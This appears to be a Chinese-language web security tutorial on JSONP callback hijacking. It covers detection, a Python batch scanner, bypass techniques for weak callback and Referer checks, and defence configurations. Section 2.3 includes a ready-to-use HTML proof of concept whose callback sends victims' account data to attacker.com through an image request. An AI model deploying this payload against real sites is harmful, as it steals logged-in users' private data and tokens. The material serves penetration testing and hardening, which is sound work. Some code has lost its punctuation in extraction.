尧图精选

JSONP跨域漏洞实战教程:检测利用、工具脚本与防御配置

🕒 发布时间:2026/10/2 12:54:46 📁 来源:尧图网络
很多Web安全从业者容易轻视JSONP漏洞。大家默认这是上古遗留的老旧技术现代站点都已切换CORS跨域方案不会存在安全风险。但真实渗透测试与应急响应场景中大量企业后台、老旧业务系统、第三方接口依然保留JSONP兼容逻辑。这类漏洞隐蔽性极强多数是后端静默支持、前端无调用场景开发者长期遗忘安全测试经常漏报。同时它的危害远高于普通CSRF普通CSRF仅能冒用用户身份发起请求JSONP可以直接窃取登录用户的私密数据包括账号信息、令牌、业务隐私数据等。本文从底层原理出发不堆砌空洞理论全程落地实战。完整梳理JSONP工作机制、漏洞成因、手工/工具检测方法、完整利用链路、批量检测脚本、生产级防御配置同时拆解绕过防御的实战技巧适配红蓝对抗、渗透测试、安全开发、运维加固等各类场景。一、JSONP核心底层原理第一性原理拆解浏览器同源策略是JSONP技术诞生的核心前提。同源策略限制不同域名、协议、端口的页面互相读取资源目的是防止恶意站点窃取用户在其他站点的登录态与数据。但同源策略存在明确的豁免规则页面加载外部脚本、样式、图片等静态资源不受跨域限制。JSONP就是利用script标签无跨域限制这一特性实现跨域数据传输。它不是标准W3C规范是Web1.0时代开发者自研的跨域兼容方案本质是前端脚本动态加载、后端动态拼接JS代码的配合逻辑。常规JSON数据传输存在明确短板前端无法直接跨域请求JSON接口浏览器会直接拦截响应读取行为。JSONP的解决思路非常直接放弃纯JSON数据返回将JSON数据包裹在前端自定义的回调函数中返回一段合法JS代码。浏览器加载这段代码后自动执行回调函数前端即可拿到跨域数据。1.1 标准JSONP正常交互流程正常业务场景下的JSONP交互分为三步全程由前端主动触发、后端配合响应第一步前端提前在全局作用域定义好回调函数用于接收后端返回的数据第二步前端动态创建script标签src指向目标接口并通过URL参数指定回调函数名第三步后端读取URL中的回调参数将业务JSON数据拼接为函数调用格式返回浏览器加载脚本后自动执行回调前端完成跨域数据获取。最简合法示例如下// 前端全局预定义回调函数functiongetUserData(res){console.log(获取跨域用户数据,res);}// 动态加载JSONP接口脚本letscriptdocument.createElement(script);script.srchttps://target.com/api/user/info?callbackgetUserData;document.body.appendChild(script);后端收到请求后读取callback参数值getUserData拼接数据后返回响应内容getUserData({id:1001,username:test,token:xxxxxx});此时浏览器正常执行脚本前端成功获取跨域数据无任何安全风险。1.2 Callback参数JSONP安全的唯一核心JSONP的英文全称是JSON with PaddingPadding代指的就是回调函数包裹逻辑。整个技术的安全边界完全由后端对callback参数的校验逻辑决定。业务正常使用时前端主动传入合法回调名后端合规响应。但如果后端无任何校验直接将用户可控的callback参数原样拼接返回就会形成高危反射漏洞。攻击者可以自定义任意回调函数名劫持所有接口响应数据。市面上绝大多数JSONP漏洞没有复杂的绕过逻辑全部源于同一个问题后端信任客户端传入的callback参数无白名单、无格式校验、无长度限制。1.3 JSONP与CORS核心区别很多人混淆两种跨域方案的安全逻辑这里做实战化区分方便理解漏洞本质CORS是现代标准化跨域方案安全控制权在服务端服务端通过响应头配置允许的域名、请求方式、凭据精准管控跨域访问权限默认拒绝所有非法跨域请求。JSONP是临时兼容方案无任何原生安全机制安全完全依赖开发者手动参数过滤。仅支持GET请求强制携带浏览器Cookie天然适配会话劫持攻击场景。二、JSONP漏洞完整攻击链路对抗式审查拆解JSONP漏洞的攻击逻辑和CSRF高度同源但危害远大于普通CSRF。普通CSRF只能以用户身份发起请求、执行操作无法读取响应结果JSONP可以完整读取用户登录态下的接口返回数据直接窃取隐私信息。漏洞成立的必要条件只有两个目标接口支持JSONP回调参数反射、接口需要Cookie会话认证且无额外防御。满足条件即可实现完整数据劫持。2.1 完整攻击流程图攻击者服务器目标业务服务器已登录受害者浏览器攻击者服务器目标业务服务器已登录受害者浏览器诱导访问恶意攻击页面(exploit.html)自动携带Cookie请求JSONP漏洞接口返回带用户隐私数据的回调脚本恶意脚本窃取数据并回传攻击者服务器2.2 分步攻击细节拆解第一步受害者保持目标站点登录状态浏览器缓存有效会话Cookie未退出登录、未清除缓存。这是攻击成立的基础JSONP攻击全程复用用户现有登录态无需欺骗用户输入账号密码。第二步攻击者搭建恶意静态页面页面内置script标签src指向目标站点存在漏洞的JSONP接口同时自定义窃取数据的回调函数。第三步受害者访问恶意页面页面自动触发跨域请求。浏览器的同源策略限制仅针对AJAX请求对script资源加载完全放行且会自动带上目标站点的Cookie凭据。第四步目标服务器接收请求未校验callback参数合法性按照默认逻辑拼接用户隐私数据返回攻击者自定义的回调脚本。第五步受害者浏览器执行恶意回调函数将接口返回的账号、令牌、手机号等隐私数据通过图片加载、beacon请求、fetch请求等方式回传至攻击者服务器攻击者落地存储数据攻击完成。2.3 可直接复用的攻击POC代码以下POC无需后端服务配合纯前端即可完成数据窃取适配所有未做参数校验的JSONP漏洞接口可直接放入HTML文件打开使用!DOCTYPEhtmlhtmlheadmetacharsetutf-8titleJSONP数据劫持POC/title/headbodyscript// 自定义回调函数接收目标站点隐私数据functionstealData(res){console.log(窃取用户数据,res);// 通过图片请求将数据回传攻击者服务器letimgnewImage();img.srchttps://attacker.com/recv.php?databtoa(JSON.stringify(res));}/script!-- 调用目标漏洞接口触发数据劫持 --scriptsrchttps://target.com/api/user/info?callbackstealData/script/body/html2.4 真实漏洞案例复盘HackerOne公开的#10373漏洞报告中Twitter早期用户信息接口存在无校验JSONP回调漏洞。攻击者构造恶意页面后可批量窃取已登录用户的昵称、邮箱、唯一ID、公开权限的个人资料影响数百万普通用户。该漏洞核心成因就是后端完全信任callback参数未做任何白名单与格式校验。另有大量中型站点出现同类问题部分站点仅做简单Referer校验攻击者通过Referer伪造、页面跳转绕过校验规则依然可以完成JSONP数据劫持。三、JSONP漏洞全方位检测方案手工工具脚本批量检测JSONP漏洞最大的实战难点不是利用而是检测。很多业务接口前端早已废弃JSONP调用但后端代码保留兼容逻辑属于隐性漏洞常规扫描工具容易漏报。本节整理实战中最高效的全套检测方法覆盖人工排查、工具扫描、批量脚本检测。3.1 人工精准检测流程人工检测优先抓特征四个核心判定维度满足任意一项即可判定接口支持JSONP第一抓取业务请求包观察URL参数出现callback、jsonp、cb、jsoncallback等典型参数默认属于JSONP候选接口直接自定义参数值测试反射效果。第二对所有返回JSON格式的业务接口手动追加callbacktest参数。若原本纯JSON响应变为test({...})函数包裹格式说明接口存在无校验JSONP反射。第三部分接口通过format参数控制返回格式将formatjson修改为formatjsonp观察响应格式变化多数隐性JSONP接口可通过该方式发现。第四观察接口响应头Content-Type正常JSON接口为application/json若响应为application/javascript且内容是函数包裹数据百分百为JSONP接口。3.2 Burp工具自动化检测日常渗透测试中推荐使用JSONP HunterBurp插件自动化扫描无需人工逐个测试。插件会自动遍历所有请求识别可反射的callback参数批量判定漏洞风险大幅减少漏报概率。基础手工联动Burp的检测流程拦截所有流量导出所有JSON接口URL批量追加callback参数重放统一查看响应格式快速筛选漏洞接口。3.3 自研Python批量检测脚本可直接部署针对批量资产检测场景这里提供完整可运行的JSONP漏洞检测脚本支持批量URL扫描、结果分级输出、漏洞标记适配内网资产批量巡检、红蓝对抗资产筛查场景。脚本自动跳过无效请求识别严格白名单校验的安全接口准确率高于通用扫描器。importrequestsimportsysimporttime# 关闭请求告警requests.packages.urllib3.disable_warnings()# 检测配置TIMEOUT8USER_AGENTMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36TEST_CALLBACKjsonp_test_123456# 待检测URL列表可自行批量导入url_list[https://target.com/api/user/info,https://target.com/api/user/profile]defcheck_jsonp_vuln(url):# 拼接测试callback参数test_urlf{url}?callback{TEST_CALLBACK}headers{User-Agent:USER_AGENT}try:resrequests.get(test_url,headersheaders,timeoutTIMEOUT,verifyFalse)# 判断响应是否存在完整回调反射ifres.status_code200andTEST_CALLBACKinres.textand(inres.textand)inres.text:print(f[] 发现高危JSONP漏洞{url})print(f[] 响应片段{res.text[:100]}...)returnTrueelse:print(f[-] 接口安全无漏洞{url})returnFalseexceptExceptionase:print(f[!] 请求异常{url}| 错误{str(e)[:50]})returnFalseif__name____main__:print( JSONP批量漏洞检测工具启动 )vuln_count0fortargetinurl_list:ifcheck_jsonp_vuln(target):vuln_count1time.sleep(0.5)print(f\n 检测完成共发现{vuln_count}个漏洞接口 )脚本使用方式修改url_list数组填入目标接口直接运行即可自动区分漏洞接口与安全接口输出详细检测结果。3.4 开源工具补充除自研脚本外两款主流专用工具可适配不同场景kapytein/jsonp适合命令行批量探测支持自定义回调规则zigoo0/JSONBee专注POC生成可根据漏洞场景一键输出可直接使用的HTML攻击代码无需手动编写Payload。四、JSONP漏洞绕过技巧对抗式攻防进阶部分站点会做基础防御但校验逻辑不严谨存在大量绕过空间。实战中常见的弱校验绕过方式是红蓝对抗的重点突破点。4.1 宽松正则校验绕过很多开发者仅简单匹配字母数字未限制格式与长度正则规则为[a-zA-Z0-9_]。这类规则可以通过拼接特殊字符、嵌套函数、对象属性调用绕过依然实现数据窃取。例如传入callbacksteal.data后端正则放行后返回steal.data({...})前端可通过定义对应对象方法完成数据接收。4.2 Referer校验绕过部分站点依赖Referer字段校验请求来源但Referer可被客户端伪造同时部分场景下浏览器会自动清空Referer字段导致校验逻辑失效。单纯依靠Referer防御JSONP漏洞完全无法抵御高阶攻击。4.3 长度限制绕过部分站点限制回调名最短/最长长度但未限制字符组合攻击者可通过填充合法字符、分段回调、嵌套回调等方式绕过长度限制完成数据劫持。五、生产级JSONP防御配置全场景落地方案结合第一性原理JSONP漏洞的根源是用户可控参数无校验、老旧兼容逻辑留存、安全策略缺失。防御无需复杂逻辑核心是从根源截断攻击链路。本节提供可直接落地的生产配置适配开发、运维、安全加固全场景。5.1 最优方案彻底下线JSONP接口现代Web业务完全不需要依赖JSONP跨域所有场景均可通过CORS、同源请求替代。所有老旧业务优先迁移至CORS标准跨域方案直接删除后端JSONP回调反射逻辑从根源消灭漏洞风险。这是成本最低、安全性最高的防御方式。5.2 兼容场景严格Callback白名单校验若业务必须保留JSONP兼容能力禁止客户端自定义回调名。后端固定合法回调名称直接忽略客户端传入的callback参数不做任何用户参数反射。若必须支持动态回调使用强正则限制格式强制规则首字符为字母仅允许字母、数字、下划线长度3-32位拒绝所有特殊字符、嵌套字符、超长字符。// Java后端安全校验正则示例publicstaticbooleancheckCallback(Stringcallback){Stringreg^[a-zA-Z][a-zA-Z0-9_]{2,31}$;returncallback.matches(reg);}5.3 安全头防御CSP策略拦截恶意执行配置Content-Security-Policy响应头限制脚本加载来源禁止行内脚本与动态脚本执行。即使站点存在JSONP漏洞攻击者的恶意回调脚本也无法执行直接阻断攻击落地。生产可用CSP配置Content-Security-Policy: default-src self; script-src self nonce-xxx;5.4 请求源校验优先Origin头校验敏感业务接口禁止使用Referer校验优先校验Origin请求头。Origin字段无法被客户端轻易伪造精准识别请求来源域名仅允许白名单内域名发起JSONP请求拦截所有非法跨域请求。5.5 会话加固Cookie与双Token防御对所有带登录态的接口配置SameSiteStrict Cookie属性禁止跨站请求携带Cookie。同时接入双提交CSRF Token机制即使JSONP接口存在反射漏洞攻击者也无法完成带凭据的跨域请求彻底杜绝数据劫持风险。六、JSONP与CORS漏洞区分与面试核心考点面试与实战中很多人混淆JSONP跨域劫持与CORS跨域漏洞这里做清晰区分方便快速记忆与落地应用。CORS漏洞是服务端配置过宽允许非法域名跨域读取数据支持所有请求方式攻防核心在响应头配置。JSONP漏洞是老旧接口参数反射导致仅支持GET请求攻防核心在callback参数校验。两者最终危害一致都是跨域数据窃取但漏洞成因、检测方式、防御配置完全不同渗透测试中需要分开排查不可互相替代。七、总结JSONP不是过时的无效漏洞是长期存在、极易漏报、危害极高的Web高危漏洞。它的所有安全问题都源于设计缺陷无原生安全机制完全依赖人工校验。大量企业遗留业务、第三方接口、后台管理系统依然保留静默JSONP兼容逻辑是红蓝对抗、渗透测试中稳定的打点突破口。实战中无需记忆复杂绕过技巧坚守核心原则所有用户可控的回调参数必须严格校验老旧JSONP接口优先下线敏感接口做多维度来源与会话加固。掌握本文的检测脚本、POC代码、防御配置即可覆盖99%的JSONP攻防场景。互动提问1. 你在渗透测试中遇到过哪些前端废弃、后端静默保留的隐性JSONP漏洞2. 除了本文提到的防御方式你还见过哪些有效的JSONP漏洞加固方案
上一篇/下一篇内容由系统自动关联 返回资讯列表 →